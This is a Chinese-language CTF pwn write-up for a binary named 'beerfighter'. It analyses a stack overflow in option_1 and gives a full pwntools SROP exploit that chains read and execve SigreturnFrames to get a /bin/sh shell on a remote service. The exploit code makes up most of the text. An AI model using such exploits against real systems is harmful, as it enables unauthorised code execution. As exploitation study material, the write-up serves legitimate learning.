(ps:x64 SROP)
文件链接:https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA
提取码:4olb
前置知识:{

  1. 汇编REP指令 当CX/ECX<>0时重复
    2.arm movsq指令
    生成重复移动字符串 (rep movsq) 指令
    __movsq 函数 ->x64体系结构
    语法:
    void __movsq(
    unsigned char* Dest,
    unsigned char* Source,
    size_t Count
    );
    参数:
    dest:该操作的目标。
    source:操作的源。
    count:要复制的四字的数目。
    例:

// movsq.cpp
// processor: x64
#include 
#include 

#pragma intrinsic(__movsq)

int main()
{
    unsigned __int64 a1[10];
    unsigned __int64 a2[10] = {950, 850, 750, 650, 550, 450, 350, 250,
                               150, 50};
    __movsq(a1, a2, 10);

    for (int i = 0; i < 10; i++)
       printf_s("%d ", a1[i]);
    printf_s("\n");
}
//output:950 850 750 650 550 450 350 250 150 50

}

1.布置环境,查看程序信息和保护机制,运行*64远程调试文件


  1. ida *64打开程序分析。

    函数列表有printf和read_n函数。

    漏洞围绕在main函数的局部变量buf字符数组(rbp-410h)
    将buf数组传入make_your_choice

    然后make_your_choice,只有键入1的情况才会 调用option_1函数传入a1,发生栈溢出

    option_1函数先read_n对大小为2048的buf数组写入数据,再调用sub_40040E,将buf读入的2048个字节复制到a1(main函数的局部变量buf(rbp-410h))处

    sub_40040E函数分析一下就可知是strncpy函数。
    所以写入超过0x418 的数据就可以覆盖返回地址

由于要用SROP 所以需要/bin/sh字符串,然而程序中并没有,可以找个地方写进去,

3.SROP exp:


from pwn import *
# context.log_level = "debug"
context.binary = './beerfighter'
pop_rax_ret = 0x40077a
syscall_ret = 0x400738
stack_can_write_end = 0x603000  #??? rw p
can_write_add = stack_can_write_end - 0x200
shell_len = 0x180
link = remote("192.168.93.137","6666")
payload = 'A' * 0x418 
payload += p64(pop_rax_ret)
payload += p64(0xf)
payload += p64(syscall_ret)
frame1 = SigreturnFrame(kernel='amd64')
frame1.rax = constants.SYS_read
frame1.rdi = constants.STDIN_FILENO #306 return 0
frame1.rsi = can_write_add
frame1.rdx = 0x8
frame1.rsp = can_write_add 
#rsp若不许栈转移执行shellcode,就填一个可写的内存地址即可
frame1.rip = syscall_ret
payload += str(frame1)
link.recvuntil("number >")
link.sendline('1')
link.recvuntil("number >")
link.sendline('0')
link.recvuntil("here > ")
link.sendline(payload)

link.recvuntil("number > ")
link.sendline('3')
link.recvuntil("By !\n")
frame2 = SigreturnFrame(kernel='amd64')
frame2.rax = constants.SYS_execve
frame2.rdi = can_write_add
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret
frame2.rsp = can_write_add
payload2 = ''
payload2 += p64(pop_rax_ret)
payload2 += p64(0xf)
payload2 += p64(syscall_ret)
payload2 += str(frame2)
payload2 = payload2.ljust(shell_len,'A') + '/bin/sh\x00'
link.sendline(payload2)
sleep(0.1)
link.interactive()
#注意rsp的指向。以及payload的位置布置


整理流程:键入相关数字进入栈溢出函数->栈溢出覆盖main函数的返回地址 -> 退到main函数 -> 执行sigreturn系统调用 -> 恢复frame1 劫持栈 rsp 以及调用read函数,将数据读入到新栈 (frame1 rip为syscal_ret) -> 布置读入的数据位置 -> 1.引发sigreturn系统调用的指令 2.要劫持的frame2 3.字符串 /bin/sh\x00 -> 执行sigreturn系统调用 恢复frame2 ->执行frame2所设置的execve getshell